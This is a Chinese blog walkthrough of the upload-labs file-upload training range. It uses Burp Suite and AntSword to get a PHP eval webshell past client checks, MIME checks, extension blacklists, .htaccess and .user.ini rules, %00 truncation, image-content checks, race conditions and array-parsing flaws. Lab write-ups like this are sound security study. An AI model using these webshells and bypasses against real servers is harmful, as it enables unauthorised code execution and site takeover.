更多内容请查看borgeousのblog
环境搭建
我使用的是win7虚拟机+phpEnv搭建靶场环境,我们只需要将upload-labs的源码下载下来,并拖入到虚拟机对应的文件中,如下所示
并在网络配置下写入如下配置
根目录选中源码目录,点击保存,最后在自己本机上的host文件中加上
xx.xx.xx.xx(虚拟机IP) upload.local
,如下所示
这样我们的本机就能成功的进行域名解析,我们就可以通过物理机上的浏览器进行访问虚拟机的网站
Pass-01
我们先上传一个php马,通过bp进行抓包,我们在脚本中写入
<?php @eval($_POST['attack']);?>
,保存为
attack.php
,进行上传
发现bp并没有抓到包,所以可以判定是前端验证,我们打开开发者工具,我们可以发现js代码
我们直接禁用js,重新上传,我们可以发现成功上传,直接使用蚁剑连接,图像地址为
http://upload.local/upload/attack.php
,连接
Pass-02
同样的,先上传attack.php,看看是什么限制,这一看就是后端检测了,我们用bp抓包
将Content-Type改成png形式,发现上传成功
最后蚁剑连接即可
Pass-03
同样上传attack.php,用bp抓包重发,发现这里又有前端验证,我们这里先禁用js,再进行上传attack.php,但是好像不管用了,于是我F12去看了看源码,发现并不是前端验证,所以我们尝试着将attack.php改成attack.php.png,再试着进行上传
发现可以成功上传,我们用bp拦截,再进行测试,我们发现他给我们的提示信息好像和以前不一样了(这里一定一定要细心)
这里是仅仅不允许上传这几个特定的后缀文件,而没说不能上传其他后缀的木马文件,比如phtml、php3、php5等等,我们这里试着改为phtml,看看能否上传成功
成功上传,我们再用蚁剑连接即可,这里还要注意一点,上传后服务器会给我们重命名,我们只需要在网页中新建标签页打开图片就能找到正确路径
Pass-04
方法一 上传.htaccess
同样先上传一个任意木马文件,然后抓包进行测试,经过我们的测试,这里并没有过滤.htaccess文件,我们可以先上传一个.htaccess文件,让服务器可以将png文件解析为我们的php文件执行,.htaccess文件内容如下
SetHandler application/x-httpd-php
接着上传一句话木马,如下所示
蚁剑连接,这里要注意的是将phpEnv的中间件改为Apache,并修改如下地方
方法二 代码审计
我们找到源代码
通过审计代码我们可以发现当我们上传
1.php. .
的时候可以绕过限制,如下所示
我们用蚁剑进行连接,成功连接上
Pass-05
这里源代码没变,我们可以用第四关的方法二进行上传,这里不再加以赘述
这里还有一种方式,就是上传
.user.ini
文件,
.user.ini
的意思是所有的php文件自动包含某个文件,其相当于一个用户自定义的
php.ini
文件,
php.ini
是 php的配置文件,
.user.ini
中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞,想要引发解析漏洞的三个条件为
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
我们将环境切换回nginx,在
.user.ini
中写入
auto_prepend_file=attack.png
,即把attack.png的东西全部包含在里面,我们上传两个文件,如下图所示
此时我们去看看readme.php下有没有包含我们写的木马
ok,本关成功上传
Pass-06
查看源码,基本上所有的后缀名都给禁用了,但是没有大小写转换函数,所以我们可以使用大小写转换来进行绕过
蚁剑连接即可,如下所示
Pass-07
查看源码,没有使用删除空格函数
trim
,所以我们可以使用空格绕过,即在文件末尾上传一个空格进入绕过
上传成功,访问
/upload/202407181054425865.php
这个路径即可getshell
Pass-08
这一关没有用
$file_name = deldot($file_name);//删除文件名末尾的点
函数来删除后面的点,所以我们考虑使用点绕过
成功绕过,地址为
/upload/attack.php
Pass-09
这一关删除了函数
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
,我们可以用字符串
::$DATA
进行绕过
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
所以我们可以尝试进行文件流转化,成功上传
路径如下
/upload/202407181113425867.php
,蚁剑访问
Pass-10
这一关使用
. .
进行绕过,这里我们补充一个知识,也能解释前面为什么使用
. .
绕过可以成功
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
所以这就是为什么中间要加一个空格,
attack.php. .
经过过滤后会变成
attack.php.
,可以成功绕过对文件后缀名的限制
路径为
/upload/attack.php.
成功连接,getshell
Pass-11
经过抓包测试,发现使用双写绕过可以实现绕过
Pass-12
这题要用到的知识点是00截断,主要针对的是白名单检测,在php<5.3.4的版本中,存储文件时处理文件名的函数认为0x00是终止符,于是在函数读到0x00时,会认为文件已经结束
例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。
由于我的靶场环境版本高于5.3.4,所以这里不演示操作成功界面,只演示操作步骤,修改下面两个地方即可(针对GET型00截断,GET说的是其save_path是get传参的
Pass-13
这一关仍然是00截断,但是是POST传参,我们进行如下操作
这里并不是没进行00截断,而是提前对
%00
进行了url解码,因为post不会像get那样提前对
%00
进行解码
Pass-14
第十四关让我们上传图片马到服务器,也就是说肯定会检测是不是真的为图片,而不是仅仅检测后缀名,这个时候我们就需要用到
GIF89a
进行伪造图片,如下所示
路径为
/upload/8420240718134909.gif
,我们采用文件包含的模式将这个gif文件包含进代码中,以当作php文件进行执行
所以我们的蚁剑连接路径为
http://upload.local/include.php?file=upload/8420240718134909.gif
连接成功
Pass-15
我们按照同样的方式进行操作
Pass-16
继续上述操作
路径为
/upload/4920240718135933.gif
成功
Pass-17
继续使用刚刚的方法
发现不行了,猜测可能是检测了Content-type,我们试着把Content-Type改了,如下所示
发现还是不太行,后来看了别人的解法才知道是二次渲染,我们拿大佬的gif进行上传,链接放这里了:文件上传之二次渲染(专用图).zip - 蓝奏云 (lanzoui.com)
这张图片的特点就是我们这里看是乱码,但是经过上传到服务器解析后得到的是一个可以打开的gif文件,对应的地址为
/upload/31946.gif
Pass-18
这一关的提示就是让我们去代码审计,那我们先去审计代码
代码告诉我们我们上传的文件首先会进行白名单检测,如果属于gif、png、jpg中的一种,服务器就会对其重命名,否则就会删除,我们这个时候就可以使用条件竞争的方式,让服务器一直在上传和删除,最后总能上传成功
我们将拦截到的包送入爆破模式
我们设置无限空发payload
我们把线程数调大一点
同时我们写一个脚本来判断什么时候成功上传了
import requests
url ="http://xxx.xxx.xxx.xxx/upload-labs/upload/attack.php"whileTrue:
html = requests.get(url)if html.status_code ==200:print("OK")break
然后我们开始条件竞争攻击,最后发现我们的目录下有attack.php,最后用蚁剑连接即可
Pass-19
同样是条件竞争,只不过是图片马形式的条件竞争,我们按照第18关的方法一样进行设置即可,同时记得给数据加上
GIF89a
头,同时使用文件包含的方式进行访问,这些在前面已经讲过,这里不再赘述
Pass-20
这一题我们首先查看源码,源码如下所示
显然这里既有白名单验证,又有黑名单验证,黑名单基本把所有后缀名给过滤了,但是有一个函数值得注意一下,就是
move_uploaded_file
函数,就是会忽略末尾的
/.
,使得我们可以用
php/.
绕过对php的限制,因为它并不是php后缀,所以我们可以用以下的手法来进行绕过
路径为
http://upload.local/upload/upload-19.php/.
Pass-21
首先我们对源代码进行分析,源代码如下
$is_upload=false;$msg=null;if(!empty($_FILES['upload_file'])){//检查MIME$allow_type=array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg="禁止上传该类型文件!";}else{//检查文件名$file=empty($_POST['save_name'])?$_FILES['upload_file']['name']:$_POST['save_name'];if(!is_array($file)){$file=explode('.',strtolower($file));}$ext=end($file);$allow_suffix=array('jpg','png','gif');if(!in_array($ext,$allow_suffix)){$msg="禁止上传该后缀文件!";}else{$file_name=reset($file).'.'.$file[count($file)-1];$temp_file=$_FILES['upload_file']['tmp_name'];$img_path=UPLOAD_PATH.'/'.$file_name;if(move_uploaded_file($temp_file,$img_path)){$msg="文件上传成功!";$is_upload=true;}else{$msg="文件上传失败!";}}}}else{$msg="请选择要上传的文件!";}
我们来进行代码审计,拉一遍流程,首先使用
empty
函数看看
upload_file
是不是为空,不为空检查MIME头是不是符合,我们这里将MIME头修改一下
之后会对文件名进行检查,如果
save_name
为空,则把
$_FILES['upload_file']['name']
赋值给
$file
,反之则把
$_POST['save_name']
赋值给
$file
接下来使用
is_array
判断
$file
是不是数组,如果不为数组,则把其转为数组
explode(separator,string,limit)//函数把字符串打散为数组。
separator 必需。规定在哪里分割字符串。
string 必需。要分割的字符串。
limit 可选。规定所返回的数组元素的数目。
这里以
.
为分割进行分数组,同时把所有的字符转成小写,以这里的为例,就会有
array[0]=upload-20,array[1]=jpg
,然后再使用
end()
函数,end函数将指针指向最后一个元素并输出,即把jpg赋值给
$ext
,即
$ext=jpg
,然后去判断后缀名是不是合法的,是不是在白名单内的
count()//计算数组中的单元数目,或对象中的属性个数end()//函数将内部指针指向数组中的最后一个元素,并输出。 reset()//输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素:
最后将
$file
的第一个元素和
$ext
拼接起完整的路径
解题思路
我们肯定是在数组上做文章,我们肯定不能让它使用
explode
函数对我们进行分割,如果让其进行分割的话,我们特定不能传进去
.php
后缀,所以我们就得自己把
save_name
整成数组形式,也就是分多块进行传输,我们不妨这样设计
save_name[0]=attack.php
save_name[2]=jpg
这样我们的
$ext=save_name[1]=jpg
,成功绕过后缀检测的代码段
由于
reset()
函数输出数组第一个,所以
$file_name=reset($file).'.'.$file[count($file)-1];reset($file)= attack.php
由于count($file)=2//由于1为空,所以返回2,count只计算属性数
所以$file[count($file)-1]=$file[1]=null
所以$file_name= attack.php
因此成功绕过
我们用蚁剑连接即可
版权归原作者 borgeous 所有, 如有侵权,请联系我们删除。